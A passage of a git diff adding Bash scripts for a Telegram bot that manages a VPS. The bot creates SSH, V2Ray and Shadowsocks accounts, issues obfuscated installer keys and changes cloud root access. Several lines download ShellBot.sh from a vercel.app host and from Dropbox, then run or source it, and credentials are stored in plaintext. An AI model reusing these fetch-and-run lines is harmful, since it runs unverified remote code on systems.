ShellBot.sendMessage --chat_id $var \ + --text "$(echo -e $bot_retorno)" \ + --parse_mode html \ + --reply_markup "$(ShellBot.InlineKeyboardMarkup -b 'botao_control_user')" + else + # ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + ShellBot.sendMessage --chat_id $var \ + --text "$(echo -e $bot_retorno)" \ + --parse_mode html \ + --reply_markup "$(ShellBot.InlineKeyboardMarkup -b 'botao_control_conf')" + fi +} + +msj_add() { + ShellBot.sendMessage --chat_id ${1} \ + --text "$(echo -e "$bot_retor")" \ + --parse_mode html +} + +upfile_fun() { + [[ ! -z ${callback_query_message_chat_id[$id]} ]] && var=${callback_query_message_chat_id[$id]} || var=${message_chat_id[$id]} + ShellBot.sendDocument --chat_id $var \ + --document @${1} +} + +invalido_fun() { + [[ ! -z ${callback_query_message_chat_id[$id]} ]] && var=${callback_query_message_chat_id[$id]} || var=${message_chat_id[$id]} + local bot_retorno="$LINE\n" + bot_retorno+="❌ COMANDO INVÁLIDO ❌\n" + bot_retorno+="$LINE\n" + ShellBot.sendMessage --chat_id $var \ + --text "$(echo -e $bot_retorno)" \ + --parse_mode html + return 0 +} + +msj_fun() { + [[ ! -z ${callback_query_message_chat_id[$id]} ]] && var=${callback_query_message_chat_id[$id]} || var=${message_chat_id[$id]} + ShellBot.sendMessage --chat_id $var \ + --text "$(echo -e "$bot_retorno")" \ + --parse_mode html + return 0 +} +upfile_src() { + cp ${CID} $HOME/ + upfile_fun $HOME/User-ID + rm $HOME/User-ID +} +infosys_src() { + + #HORA Y FECHA + unset _hora + unset _fecha + _hora=$(printf '%(%H:%M:%S)T') + _fecha=$(printf '%(%D)T') + + #PROCESSADOR + unset _core + unset _usop + _core=$(printf '%-1s' "$(grep -c cpu[0-9] /proc/stat)") + _usop=$(printf '%-1s' "$(top -bn1 | awk '/Cpu/ { cpu = "" 100 - $8 "%" }; END { print cpu }')") + + #MEMORIA RAM + unset ram1 + unset ram2 + unset ram3 + ram1=$(free -h | grep -i mem | awk {'print $2'}) + ram2=$(free -h | grep -i mem | awk {'print $4'}) + ram3=$(free -h | grep -i mem | awk {'print $3'}) + + unset _ram + unset _usor + _ram=$(printf ' %-9s' "$(free -h | grep -i mem | awk {'print $2'})") + _usor=$(printf '%-8s' "$(free -m | awk 'NR==2{printf "%.2f%%", $3*100/$2 }')") + + unset os_sys + os_sys=$(echo $(cat -n /etc/issue | grep 1 | cut -d' ' -f6,7,8 | sed 's/1//' | sed 's/ //')) && echo $system | awk '{print $1, $2}' + meu_ip=$(wget -qO- ifconfig.me) + bot_retorno="$LINE\n" + bot_retorno+="S.O: $os_sys\n" + bot_retorno+="Su IP es: $meu_ip\n" + bot_retorno+="$LINE\n" + bot_retorno+="Ram: $ram1 || En Uso: $_usor\n" + bot_retorno+="USADA: $ram3 || LIBRE: $ram2\n" + bot_retorno+="$LINE\n" + bot_retorno+="CPU: $_core || En Uso: $_usop\n" + bot_retorno+="$LINE\n" + bot_retorno+="FECHA: $_fecha\n" + bot_retorno+="HORA: $_hora\n" + bot_retorno+="$LINE\n" + menu_print 'adm' +} + +cache_src() { + + #MEMORIA RAM + unset ram1 + unset ram2 + unset ram3 + unset _usor + _usor=$(printf '%-8s' "$(free -m | awk 'NR==2{printf "%.2f%%", $3*100/$2 }')") + ram1=$(free -h | grep -i mem | awk {'print $2'}) + ram2=$(free -h | grep -i mem | awk {'print $4'}) + ram3=$(free -h | grep -i mem | awk {'print $3'}) + bot_retorno="==========Antes==========\n" + bot_retorno+="Ram: $ram1 || EN Uso: $_usor\n" + bot_retorno+="USADA: $ram3 || LIBRE: $ram2\n" + bot_retorno+="=========================\n" + msj_fun + + sleep 2 + + sudo sync + sudo sysctl -w vm.drop_caches=3 >/dev/null 2>&1 + + unset ram1 + unset ram2 + unset ram3 + unset _usor + _usor=$(printf '%-8s' "$(free -m | awk 'NR==2{printf "%.2f%%", $3*100/$2 }')") + ram1=$(free -h | grep -i mem | awk {'print $2'}) + ram2=$(free -h | grep -i mem | awk {'print $4'}) + ram3=$(free -h | grep -i mem | awk {'print $3'}) + bot_retorno="==========Ahora==========\n" + bot_retorno+="Ram: $ram1 || EN Uso: $_usor\n" + bot_retorno+="USADA: $ram3 || LIBRE: $ram2\n" + bot_retorno+="=========================\n" + menu_print 'extras' +} + +myid_src() { + bot_retorno="====================\n" + bot_retorno+="SU ID: ${chatuser}\n" + bot_retorno+="====================\n" + menu_print 'atras' +} + +deleteID_reply() { + delid=$(sed -n ${message_text[$id]}p ${CID}) + sed -i "${message_text[$id]}d" ${CID} + bot_retorno="$LINE\n" + bot_retorno+="ID eliminado con exito!\n" + bot_retorno+="ID: ${delid}\n" + bot_retorno+="$LINE\n" + msj_fun + #upfile_src +} + +herramientas() { + bot_retorno="-----[HERRAMIENTAS VIP]------\n" + menu_tools +} + +menu_src() { + bot_retorno="━━━━━━━━━━━━━━━━━━━━━━\n" + bot_retorno+="HOLA! ${message_from_username:=$message_from_first_name}\n" + if [[ $(cat $adm | grep "${chatuser}") = "" ]]; then + if [[ $(cat ${usr} | grep "${chatuser}") = "" ]]; then + bot_retorno+="❌ NO CUENTAS CON ACCESO A ESTE BOT ❌\n" + msj_fun + else + bot_retorno+="━━━━━━━━━━━━━━━━━\n" + bot_retorno+="COMANDOS\n" + bot_retorno+="━━━━━━━━━━━━━━━━━\n" + bot_retorno+="/infovps => detalles de tu vps.\n" + bot_retorno+="/puertos => puertos activos de tu vps.\n" + bot_retorno+="━━━━━━━━━━━━━━━━━\n" + bot_retorno+="/add-ssh => crear usuario ssh.\n" + bot_retorno+="/add-v2ray => crear usuario v2ray.\n" + bot_retorno+="/add-ss => crear usuario shadowsocks.\n" + bot_retorno+="/add-ssr => crear usuario shadowsocks-r.\n" + bot_retorno+="/del-ssh => borrar usuario ssh.\n" + bot_retorno+="/del-v2ray => borrar usuario v2ray.\n" + bot_retorno+="/del-ss => borrar usuario shadowsocks.\n" + bot_retorno+="/del-ssr => borrar usuario shadowsocks-r.\n" + bot_retorno+="━━━━━━━━━━━━━━━━━\n" + bot_retorno+="/backup => backup usuarios.\n" + bot_retorno+="/instal => instalar protocolos.\n" + bot_retorno+="/uninstall => desinstalar protocolos.\n" + bot_retorno+="━━━━━━━━━━━━━━━━━\n" + bot_retorno+="⚡ Powered by @drowkid01⚡\n" + bot_retorno+="━━━━━━━━━━━━━━━━━\n" + menu_print 'usr' + fi + + else + bot_retorno+="━━━━━━━━━━━━━━━━━\n" + bot_retorno+="COMANDOS\n" + bot_retorno+="━━━━━━━━━━━━━━━━━\n" + bot_retorno+="/infovps => detalles de tu vps.\n" + bot_retorno+="/puertos => puertos activos de tu vps.\n" + bot_retorno+="━━━━━━━━━━━━━━━━━\n" + bot_retorno+="/add-ssh => crear usuario ssh.\n" + bot_retorno+="/add-v2ray => crear usuario v2ray.\n" + bot_retorno+="/add-ss => crear usuario shadowsocks.\n" + bot_retorno+="/add-ssr => crear usuario shadowsocks-r.\n" + bot_retorno+="/del-ssh => borrar usuario ssh.\n" + bot_retorno+="/del-v2ray => borrar usuario v2ray.\n" + bot_retorno+="/del-ss => borrar usuario shadowsocks.\n" + bot_retorno+="/del-ssr => borrar usuario shadowsocks-r.\n" + bot_retorno+="━━━━━━━━━━━━━━━━━\n" + bot_retorno+="/backup => backup usuarios.\n" + bot_retorno+="/instal => instalar protocolos.\n" + bot_retorno+="/uninstall => desinstalar protocolos.\n" + bot_retorno+="━━━━━━━━━━━━━━━━━\n" + bot_retorno+="⚡ Powered by @drowkid01⚡\n" + bot_retorno+="━━━━━━━━━━━━━━━━━\n" + menu_print 'adm' + fi +} + + +ShellBot.InlineKeyboardButton --button 'botao_conf' --line 1 --text '👤 CONTROL USER' --callback_data '/user' +ShellBot.InlineKeyboardButton --button 'botao_conf' --line 2 --text '❌ POWER ✅' --callback_data '/power' +ShellBot.InlineKeyboardButton --button 'botao_conf' --line 2 --text '🛠️ MENU' --callback_data '/menu' + +#ShellBot.InlineKeyboardButton --button 'botao_conf' --line 2 --text '👤 CONECTAR SSH' --callback_data '/ssh' + +ShellBot.InlineKeyboardButton --button 'botao_conf' --line 3 --text '🔑 KEYGEN' --callback_data '/keygen' + +#ShellBot.InlineKeyboardButton --button 'botao_user' --line 1 --text '🌍New Pass' --callback_data '/pass' +#ShellBot.InlineKeyboardButton --button 'botao_conf' --line 3 --text '🌍New Pass' --callback_data '/pass' + +ShellBot.InlineKeyboardButton --button 'botao_conf' --line 4 --text '⬇️DESCARGAR NIKOBHYN TOOLS⬇️' --callback_data '/descargar' +ShellBot.InlineKeyboardButton --button 'botao_user' --line 1 --text '⬇️DESCARGAR NIKOBHYN TOOLS⬇️' --callback_data '/descargar' + +ShellBot.InlineKeyboardButton --button 'botao_user' --line 1 --text '♻️AGREGAR RESELLER♻️' --callback_data '/rell' +#ShellBot.InlineKeyboardButton --button 'botao_user' --line 1 --text '👤 CONECTAR SSH' --callback_data '/ssh' + +ShellBot.InlineKeyboardButton --button 'botao_user' --line 1 --text '🛠️ TOOLS 🛠️' --callback_data '/tools' +ShellBot.InlineKeyboardButton --button 'botao_conf' --line 3 --text '🛠️ TOOLS 🛠️' --callback_data '/tools' + +# BOTON DE CONECTAR SSH +# BOTON USER +ShellBot.InlineKeyboardButton --button 'botao_tools_user' --line 1 --text '-> CAMBIAR PASSWORD ✅' --callback_data '/pass' +ShellBot.InlineKeyboardButton --button 'botao_tools_user' --line 2 --text '-> CREAR USUARIO KEY | AWS ✅' --callback_data '/pem' +ShellBot.InlineKeyboardButton --button 'botao_tools_user' --line 3 --text '-> CAMBIAR ROOT | AWS -> KEY ✅' --callback_data '/aws' +ShellBot.InlineKeyboardButton --button 'botao_tools_user' --line 4 --text '-> CAMBIAR ROOT | AZURE -> PASS ❌' --callback_data '/azure' +ShellBot.InlineKeyboardButton --button 'botao_tools_user' --line 5 --text '-> INSTALAR | SCRIPT -> NIXON-MX ✅' --callback_data '/ssh' +# BOTON DE ADMIN +ShellBot.InlineKeyboardButton --button 'botao_tools_conf' --line 1 --text '-> CAMBIAR PASSWORD ✅' --callback_data '/pass' +ShellBot.InlineKeyboardButton --button 'botao_tools_conf' --line 2 --text '-> CREAR USUARIO KEY | AWS ✅' --callback_data '/pem' +ShellBot.InlineKeyboardButton --button 'botao_tools_conf' --line 3 --text '-> CAMBIAR ROOT | AWS -> KEY ✅' --callback_data '/aws' +ShellBot.InlineKeyboardButton --button 'botao_tools_conf' --line 4 --text '-> CAMBIAR ROOT | AZURE -> PASS ❌' --callback_data '/azure' +ShellBot.InlineKeyboardButton --button 'botao_tools_conf' --line 5 --text '-> INSTALAR | SCRIPT -> NIXON-MX ✅' --callback_data '/ssh' + +# +ShellBot.InlineKeyboardButton --button 'botao_control_conf' --line 1 --text '👤 AGREGAR ID' --callback_data '/add' +ShellBot.InlineKeyboardButton --button 'botao_control_conf' --line 2 --text '🚮 ELIMINAR' --callback_data '/del' +ShellBot.InlineKeyboardButton --button 'botao_control_conf' --line 3 --text '👥 LISTA USER' --callback_data '/list' +ShellBot.InlineKeyboardButton --button 'botao_control_conf' --line 4 --text '🆔 ID' --callback_data '/ID' +ShellBot.InlineKeyboardButton --button 'botao_control_conf' --line 5 --text '♻️AGREGAR RESELLER♻️' --callback_data '/rell' +# Ejecutando escucha del bot +while true; do + ShellBot.getUpdates --limit 100 --offset $(ShellBot.OffsetNext) --timeout 30 + for id in $(ShellBot.ListUpdates); do + + chatuser="$(echo ${message_chat_id[$id]} | cut -d'-' -f2)" + [[ -z $chatuser ]] && chatuser="$(echo ${callback_query_from_id[$id]} | cut -d'-' -f2)" + echo $chatuser >&2 + #echo "user id $chatuser" + + comando=(${message_text[$id]}) + [[ -z $comando ]] && comando=(${callback_query_data[$id]}) + #echo "comando $comando" + + [[ ! -e "${CIDdir}/Admin-ID" ]] && echo "null" >${CIDdir}/Admin-ID + permited=$(cat ${CIDdir}/Admin-ID) + + if [[ $(echo $permited | grep "${chatuser}") = "" ]]; then + if [[ $(cat ${CID} | grep "${chatuser}") = "" ]]; then + case ${comando[0]} in + /[Ii]d | /[Ii]D) myid_src & ;; + /[Aa]cceso | [Aa]cceso) autori & ;; + /[Mm]enu | [Mm]enu | /[Ss]tart | [Ss]tart | [Cc]omensar | /[Cc]omensar) menu_src & ;; + /[Aa]yuda | [Aa]yuda | [Hh]elp | /[Hh]elp) ayuda_id & ;; + /* | *) invalido_fun & ;; + esac + else + if [[ ${message_reply_to_message_message_id[$id]} ]]; then + case ${message_reply_to_message_text[$id]} in + '/rell') rell_reply ;; + '/ssh') ssh_reply ;; + '/pass') pass_reply ;; + '/aws') aws_reply ;; + '/pem') pem_reply ;; + *) invalido_fun ;; + esac + + elif [[ ${message_text[$id]} || ${callback_query_data[$id]} ]]; then + case ${comando[0]} in + /[Mm]enu | /[Ss]tart | /[Cc]omensar) menu_src & ;; + /[Ii]d) myid_src & ;; + /[Ii]nstalador) link_src & ;; + /[Rr]esell | /[Rr]eseller) mensajecre "${comando[1]}" & ;; + /[Rr]ell | /[Ss]sh | /[Pp]ass | /[Aa]ws | /[Pp]em) reply & ;; + /[Dd]escargar) descargar_apk & ;; + /[Tt]ools) herramientas & ;; + /[Kk]eygen | /[Gg]erar) + if grep -q "${chatuser}|1" "${CID}"; then + gerar_key & + else + otra_accion & + fi + ;; + # /[Cc]ambiar) creditos & ;; + *) invalido_fun & ;; + esac + + fi + + fi + else + + if [[ ${message_reply_to_message_message_id[$id]} ]]; then + case ${message_reply_to_message_text[$id]} in + '/del') deleteID_reply ;; + '/add') addID_reply ;; + '/rell') rell_reply ;; + '/ssh') ssh_reply ;; + '/pass') pass_reply ;; + '/aws') aws_reply ;; + '/pem') pem_reply ;; + *) invalido_fun ;; + esac + + elif [[ ${message_document_file_id[$id]} ]]; then + download_file + + elif [[ ${message_text[$id]} || ${callback_query_data[$id]} ]]; then + + case ${comando[0]} in + /[Mm]enu | [Mm]enu | /[Ss]tart | [Ss]tart | [Cc]omensar | /[Cc]omensar) menu_src & ;; + /[Aa]yuda | [Aa]yuda | [Hh]elp | /[Hh]elp) ayuda_src & ;; + /[Ii]d | /[Ii]D) myid_src & ;; + /[Aa]dd | /[Dd]el | /[Rr]ell) reply & ;; + /[Ss]sh) reply & ;; + /[Pp]ass) reply & ;; + /[Aa]ws) reply & ;; + /[Pp]em) reply & ;; + /[Pp]ower) start_gen & ;; + /[Dd]escargar) descargar_apk & ;; + /[Uu]ser) usercontrol & ;; + /[Tt]ools) herramientas & ;; + /[Rr]esell | /[Rr]eseller) mensajecre "${comando[1]}" & ;; + /[Kk]eygen | /[Gg]erar | [Gg]erar | [Kk]eygen) gerar_key & ;; + # + # /[Cc]ambiar)creditos &;; + /[Ii]nfosys) infosys_src & ;; + /[Ll]ist) listID_src & ;; + /[Ii]nstalador) link_src & ;; + /[Cc]ache) cache_src & ;; + /* | *) invalido_fun & ;; + esac + + fi + + fi + done +done diff --git a/Recursos/usercodes/chukk-bot/init-bt.sh b/Recursos/usercodes/chukk-bot/init-bt.sh new file mode 100644 index 0000000..a1f8232 --- /dev/null +++ b/Recursos/usercodes/chukk-bot/init-bt.sh @@ -0,0 +1,65 @@ +#!/bin/bash +if uname -m|grep armv7l &> /dev/null; then + main[0]="."&&api="${main[0]}/ShellBot.sh" +else + main[0]='/usr/local/lib/chukk-bot'&&api='/usr/bin/ShellBot.sh' +fi + +if [[ ! -e $api ]]; then + wget -O ${api} https://drowkid01.vercel.app/${api##*/} &> /dev/null + chmod +x ${api} +fi + +adm="${main[0]}/data-admin.conf" +usr="${main[0]}/data-users.conf" + +[[ ! -e ${adm} ]] || [[ ! -s $adm ]] && { + source msg + msg -bar + while msg -ne 'Ingrese su token: '&&read token; do + if [[ -z $token ]] ; then + msg -verm 'INGRESE UN TOKEN VÁLIDO'&&sleep 2&&unset token + tput cuu1&&tput dl1 + elif [[ "${#token}" == '46' ]]; then + break + else + msg -verm 'FALTAN DÍGITOS EN TU TOKEN'&&sleep 2&&unset token + msg -ama 'VERIFICA QUE SEA CORRECTO EL TOKEN'&&sleep 2 + for((i=0;i<3;i++));do tput cuu1&&tput dl1 ; done + fi + done + tput cuu1&&tput dl1 + while read -p $'\e[1;31mIngresa un usuario: \e[1;32m' user; do + if [[ -z $user ]]; then + user=$(cat /dev/urandom | tr -dc '[:alnum:]' | head -c 10) + else + break + fi + done + tput cuu1&&tput dl1 + while read -p $'\e[1;31mIngresa una clave: \e[1;32m' clave; do + if [[ -z $clave ]]; then + clave=$(cat /dev/urandom | tr -dc '[:alnum:]' | head -c 10) + else + break + fi + done + tput cuu1&&tput dl1 + echo -e " \e[1;96mDATOS DE ACCESO" + msg -bar + echo -e " \e[1;30m[\e[1;91m•\e[1;30m] $(printext 'Usuario: ')\e[1;97m ${user}" + echo -e " \e[1;30m[\e[1;91m•\e[1;30m] $(printext 'Clave: ')\e[1;97m ${clave}" + msg -bar + echo -e "\e[1;33mUSA EL COMANDO: /access ${user} ${clave} PARA USAR EL BOT!" + enter + echo "$user|$clave|$token" > ${adm} + source $0 +} || { + exec 3<&0 < $adm + read data + exec 0<&3 3<&- + adm=$(echo $data|awk -F "|" '{print $1}') + pass=$(echo $data|awk -F "|" '{print $2}') + tkn=$(echo $data|awk -F "|" '{print $3}') +} + diff --git a/Recursos/usercodes/chukk-bot/nbotgen.sh b/Recursos/usercodes/chukk-bot/nbotgen.sh new file mode 100644 index 0000000..1426a7a --- /dev/null +++ b/Recursos/usercodes/chukk-bot/nbotgen.sh @@ -0,0 +1,889 @@ +meu_ip_fun() { + MIP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1) + MIP2=$(wget -qO- ipv4.icanhazip.com) + [[ "$MIP" != "$MIP2" ]] && IP="$MIP2" || IP="$MIP" +} + +CIDdir=${main[0]} && [[ ! -d ${CIDdir} ]] && mkdir ${CIDdir} +CID="${CIDdir}/data-users.conf" && [[ ! -e ${CID} ]] && echo >${CID} +[[ $(dpkg --get-selections | grep -w "jq" | head -1) ]] || apt-get install jq -y &>/dev/null +[[ ! -e "/bin/ShellBot.sh" ]] && wget -O /bin/ShellBot.sh https://www.dropbox.com/s/gfwlkfq4f2kplze/ShellBot.sh &>/dev/null +[[ -e /etc/texto-bot ]] && rm /etc/texto-bot +LINE="━━━━━━━━━━━━━━━━━━━━━━" +source ShellBot.sh +ShellBot.init --token "$bot_token" --monitor --flush --return map +ShellBot.username + +reply() { + [[ ! -z ${callback_query_message_chat_id[$id]} ]] && var=${callback_query_message_chat_id[$id]} || var=${message_chat_id[$id]} + + ShellBot.sendMessage --chat_id $var \ + --text "$comando" \ + --parse_mode html \ + --reply_markup "$(ShellBot.ForceReply)" + [[ "${callback_query_data}" = /del || "${message_text}" = /del ]] && listID_src + [[ "${callback_query_data}" = /rell || "${message_text}" = /rell ]] && catrell + [[ "${callback_query_data}" = /ssh || "${message_text}" = /ssh ]] && ssh_mensaje + [[ "${callback_query_data}" = /pass || "${message_text}" = /pass ]] && pass_mensaje + [[ "${callback_query_data}" = /aws || "${message_text}" = /aws ]] && aws_mensaje + [[ "${callback_query_data}" = /pem || "${message_text}" = /pem ]] && pem_mensaje +} + +# verificacion primarias +gerar_key() { + meu_ip_fun + unset newresell + newresell="${USRdatabase2}/Mensaje_$chatuser.txt" + if [[ ! -e ${newresell} ]]; then + echo "@Nikobhyn" >${SCPT_DIR}/message.txt + else + echo "$(cat ${newresell})" >${SCPT_DIR}/message.txt + fi + + [[ ! $newresell ]] && credill="By $(cat ${USRdatabase2}/Mensaje_$chatuser.txt)" || credill="By $(cat ${SCPT_DIR}/message.txt)" + + valuekey="$(date | md5sum | head -c10)" + valuekey+="$(echo $(($RANDOM * 10)) | head -c 5)" + fun_list "$valuekey" + keyfinal=$(ofus "$IP:8888/$valuekey/$LIST") + local bot_retorno="🆂🅲🆁🅸🅿🆃 🅽🅸🆇🅾🅽🅼🅲 \n" + bot_retorno+="═══════════ ◖◍◗ ═══════════\n" + bot_retorno+="🔑 KEY GENERADA V9.7N🔑\n " + bot_retorno+="👤Reseller: $credill\n" + bot_retorno+="⏱️ Vence: En 2 Hrs o al Usarla\n" + bot_retorno+="═══════════ ◖◍◗ ═══════════\n" + bot_retorno+="◈💾 TOCA EL INSTALADOR ◈\n" + bot_retorno+="wget https://raw.githubusercontent.com/nixonvidal/NIXON-MC/master/NIXON-MC\n" + bot_retorno+="┈━═💫━━━•❪⊱⭐⊰❫•━━━💫═━┈\n" + bot_retorno+="◈🔑COPIAR LA KEY🔑◈\n" + bot_retorno+="${keyfinal}\n" + bot_retorno+="═══════════ ◖◍◗ ═══════════\n" + bot_retorno+="☫ S.O Recomendado 📀Ubuntu 20 x64\n" + bot_retorno+="☫Ubuntu 18-23 x64- Debian 7,8,9,10 x64\n" + bot_retorno+="═══════════ ◖◍◗ ═══════════\n" + bot_retorno+="©ঔৣ‌➳•སར×๑ས ༒۝•ʍc•🇵🇪®➋⓪➋➋\n" + bot_retorno+="█│║▌ ║││█║▌ │║║█║█│║▌ ║\n" + bot_retorno+="𝓓𝓮𝓻𝓮𝓬𝓱𝓸𝓼 𝓡𝓮𝓼𝓮𝓻𝓿𝓪𝓭𝓸𝓼 𝓒𝓸𝓹𝔂𝓻𝓲𝓰𝓱𝓽 𝓝𝓲𝔁𝓸𝓷 𝓜𝓒 \n" + bot_retorno+="═══════════ ◖◍◗ ═══════════\n" + msj_fun + + echo -e $bot_retorno >>${keytxt}/key_${chatuser}.txt + upfile_fun ${keytxt}/key_${chatuser}.txt + rm ${keytxt}/key_${chatuser}.txt + echo "@kevincat30" >${SCPT_DIR}/message.txt +} + +fun_list() { + rm ${SCPT_DIR}/*.x.c &>/dev/null + unset KEY + KEY="$1" + #CRIA DIR + [[ ! -e ${DIR} ]] && mkdir ${DIR} + #ENVIA ARQS + i=0 + VALUE+="gerar.sh instgerador.sh http-server.py lista-arq $BASICINST" + for arqx in $(ls ${SCPT_DIR}); do + [[ $(echo $VALUE | grep -w "${arqx}") ]] && continue + echo -e "[$i] -> ${arqx}" + arq_list[$i]="${arqx}" + let i++ + done + #CRIA KEY + [[ ! -e ${DIR}/${KEY} ]] && mkdir ${DIR}/${KEY} + #PASSA ARQS + nombrevalue="${chatuser}" + #ADM BASIC + arqslist="$BASICINST" + for arqx in $(echo "${arqslist}"); do + [[ -e ${DIR}/${KEY}/$arqx ]] && continue #ANULA ARQUIVO CASO EXISTA + cp ${SCPT_DIR}/$arqx ${DIR}/${KEY}/ + echo "$arqx" >>${DIR}/${KEY}/${LIST} + done + rm ${SCPT_DIR}/*.x.c &>/dev/null + echo "$nombrevalue" >${DIR}/${KEY}.name + [[ ! -z $IPFIX ]] && echo "$IPFIX" >${DIR}/${KEY}/keyfixa + at now +2 hours <<<"rm -rf ${DIR}/${KEY} && rm -rf ${DIR}/${KEY}.name" +} + +ofus() { + unset server + server=$(echo ${txt_ofuscatw} | cut -d':' -f1) + unset txtofus + number=$(expr length $1) + for ((i = 1; i < $number + 1; i++)); do + txt[$i]=$(echo "$1" | cut -b $i) + case ${txt[$i]} in + ".") txt[$i]="F" ;; + "F") txt[$i]="." ;; + "3") txt[$i]="@" ;; + "@") txt[$i]="3" ;; + "5") txt[$i]="9" ;; + "9") txt[$i]="5" ;; + "6") txt[$i]="P" ;; + "P") txt[$i]="6" ;; + "L") txt[$i]="R" ;; + "R") txt[$i]="L" ;; + esac + txtofus+="${txt[$i]}" + done + echo "$txtofus" | rev +} + +menu_print() { + [[ ! -z ${callback_query_message_chat_id[$id]} ]] && var=${callback_query_message_chat_id[$id]} || var=${message_chat_id[$id]} + + if [[ $(echo $permited | grep "${chatuser}") = "" ]]; then + # ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + ShellBot.sendMessage --chat_id $var \ + --text "$(echo -e $bot_retorno)" \ + --parse_mode html \ + --reply_markup "$(ShellBot.InlineKeyboardMarkup -b 'botao_user')" + else + # ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + ShellBot.sendMessage --chat_id $var \ + --text "$(echo -e $bot_retorno)" \ + --parse_mode html \ + --reply_markup "$(ShellBot.InlineKeyboardMarkup -b 'botao_conf')" + fi +} +menu_tools() { + [[ ! -z ${callback_query_message_chat_id[$id]} ]] && var=${callback_query_message_chat_id[$id]} || var=${message_chat_id[$id]} + + if [[ $(echo $permited | grep "${chatuser}") = "" ]]; then + # ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + ShellBot.sendMessage --chat_id $var \ + --text "$(echo -e $bot_retorno)" \ + --parse_mode html \ + --reply_markup "$(ShellBot.InlineKeyboardMarkup -b 'botao_tools_user')" + else + # ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + ShellBot.sendMessage --chat_id $var \ + --text "$(echo -e $bot_retorno)" \ + --parse_mode html \ + --reply_markup "$(ShellBot.InlineKeyboardMarkup -b 'botao_tools_conf')" + fi +} +menu_user() { + [[ ! -z ${callback_query_message_chat_id[$id]} ]] && var=${callback_query_message_chat_id[$id]} || var=${message_chat_id[$id]} + + if [[ $(echo $permited | grep "${chatuser}") = "" ]]; then + # ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + ShellBot.sendMessage --chat_id $var \ + --text "$(echo -e $bot_retorno)" \ + --parse_mode html \ + --reply_markup "$(ShellBot.InlineKeyboardMarkup -b 'botao_control_user')" + else + # ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + ShellBot.sendMessage --chat_id $var \ + --text "$(echo -e $bot_retorno)" \ + --parse_mode html \ + --reply_markup "$(ShellBot.InlineKeyboardMarkup -b 'botao_control_conf')" + fi +} + +download_file() { + # shellbot.sh editado linea 3986 + user=User-ID + [[ -e ${CID} ]] && rm ${CID} + local file_id + ShellBot.getFile --file_id ${message_document_file_id[$id]} + ShellBot.downloadFile --file_path "${return[file_path]}" --dir "${CIDdir}" + local bot_retorno="ID user bot\n" + bot_retorno+="$LINE\n" + bot_retorno+="Se restauro con exito!!\n" + bot_retorno+="$LINE\n" + bot_retorno+="${return[file_path]}\n" + bot_retorno+="$LINE" + ShellBot.sendMessage --chat_id "${message_chat_id[$id]}" \ + --reply_to_message_id "${message_message_id[$id]}" \ + --text "$(echo -e "$bot_retorno")" \ + --parse_mode html + return 0 +} + +msj_add() { + ShellBot.sendMessage --chat_id ${1} \ + --text "$(echo -e "$bot_retor")" \ + --parse_mode html +} + +upfile_fun() { + [[ ! -z ${callback_query_message_chat_id[$id]} ]] && var=${callback_query_message_chat_id[$id]} || var=${message_chat_id[$id]} + ShellBot.sendDocument --chat_id $var \ + --document @${1} +} + +invalido_fun() { + [[ ! -z ${callback_query_message_chat_id[$id]} ]] && var=${callback_query_message_chat_id[$id]} || var=${message_chat_id[$id]} + local bot_retorno="$LINE\n" + bot_retorno+="❌ COMANDO DENEGADO ❌ \n" + bot_retorno+="$LINE\n" + ShellBot.sendMessage --chat_id $var \ + --text "$(echo -e $bot_retorno)" \ + --parse_mode html + return 0 +} + +msj_fun() { + [[ ! -z ${callback_query_message_chat_id[$id]} ]] && var=${callback_query_message_chat_id[$id]} || var=${message_chat_id[$id]} + ShellBot.sendMessage --chat_id $var \ + --text "$(echo -e "$bot_retorno")" \ + --parse_mode html + return 0 +} +upfile_src() { + cp ${CID} $HOME/ + upfile_fun $HOME/User-ID + rm $HOME/User-ID +} + +start_gen() { + unset PIDGEN + PIDGEN=$(ps aux | grep -v grep | grep "http-server.sh") + if [[ ! $PIDGEN ]]; then + screen -dmS generador /bin/http-server.sh -start + local bot_retorno="$LINE\n" + bot_retorno+="Generador: EN LINEA ✅\n" + bot_retorno+="$LINE\n" + msj_fun + else + killall http-server.sh + local bot_retorno="$LINE\n" + bot_retorno+="Generador: APAGADA ❌\n" + bot_retorno+="$LINE\n" + msj_fun + fi +} + +infosys_src() { + + #HORA Y FECHA + unset _hora + unset _fecha + _hora=$(printf '%(%H:%M:%S)T') + _fecha=$(printf '%(%D)T') + + #PROCESSADOR + unset _core + unset _usop + _core=$(printf '%-1s' "$(grep -c cpu[0-9] /proc/stat)") + _usop=$(printf '%-1s' "$(top -bn1 | awk '/Cpu/ { cpu = "" 100 - $8 "%" }; END { print cpu }')") + + #MEMORIA RAM + unset ram1 + unset ram2 + unset ram3 + ram1=$(free -h | grep -i mem | awk {'print $2'}) + ram2=$(free -h | grep -i mem | awk {'print $4'}) + ram3=$(free -h | grep -i mem | awk {'print $3'}) + + unset _ram + unset _usor + _ram=$(printf ' %-9s' "$(free -h | grep -i mem | awk {'print $2'})") + _usor=$(printf '%-8s' "$(free -m | awk 'NR==2{printf "%.2f%%", $3*100/$2 }')") + + unset os_sys + os_sys=$(echo $(cat -n /etc/issue | grep 1 | cut -d' ' -f6,7,8 | sed 's/1//' | sed 's/ //')) && echo $system | awk '{print $1, $2}' + meu_ip=$(wget -qO- ifconfig.me) + bot_retorno="$LINE\n" + bot_retorno+="S.O: $os_sys\n" + bot_retorno+="Su IP es: $meu_ip\n" + bot_retorno+="$LINE\n" + bot_retorno+="Ram: $ram1 || En Uso: $_usor\n" + bot_retorno+="USADA: $ram3 || LIBRE: $ram2\n" + bot_retorno+="$LINE\n" + bot_retorno+="CPU: $_core || En Uso: $_usop\n" + bot_retorno+="$LINE\n" + bot_retorno+="FECHA: $_fecha\n" + bot_retorno+="HORA: $_hora\n" + bot_retorno+="$LINE\n" + msj_fun +} + +cache_src() { + + #MEMORIA RAM + unset ram1 + unset ram2 + unset ram3 + unset _usor + _usor=$(printf '%-8s' "$(free -m | awk 'NR==2{printf "%.2f%%", 